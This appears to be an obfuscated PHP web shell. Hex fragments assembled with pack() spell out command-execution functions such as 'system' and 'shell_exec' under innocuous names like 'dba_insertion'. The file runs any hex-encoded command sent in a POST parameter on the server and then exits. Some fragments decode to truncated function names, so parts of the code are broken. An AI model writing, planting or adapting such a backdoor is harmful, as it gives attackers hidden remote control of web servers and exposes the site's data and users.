<?php

$attr1 = '973';
$attr2 = '56d';
$attr3 = '6c6';
$attr4 = 'c5f';
$attr5 = '657';
$attr6 = '865';
$attr7 = '706';
$attr8 = '173';
$attr9 = '727';
$attr10 = '261';
$attr11 = '96e';
$attr12 = '736';
$request1 = pack("H*", '737' . $attr1 . '746' . $attr2);
$request2 = pack("H*", '736' . '865' . $attr3 . $attr4 . $attr5 . '865');
$request3 = pack("H*", '736' . $attr6 . '6c6');
$request4 = pack("H*", $attr7 . $attr8 . '737' . '468' . $attr9);
$dba_insertion = pack("H*", '646' . $attr10 . '5f6' . $attr11 . $attr12 . '572' . '746' . '96f');
if (isset($_POST[$dba_insertion])) {
    $dba_insertion = pack("H*", $_POST[$dba_insertion]);
    if (function_exists($request1)) {
        $request1($dba_insertion);
    } elseif (function_exists($request2)) {
        $request2($dba_insertion);
    } elseif (function_exists($request3)) {
        $request3($dba_insertion);
    } elseif (function_exists($request4)) {
        $request4($dba_insertion);
    }
    exit;
}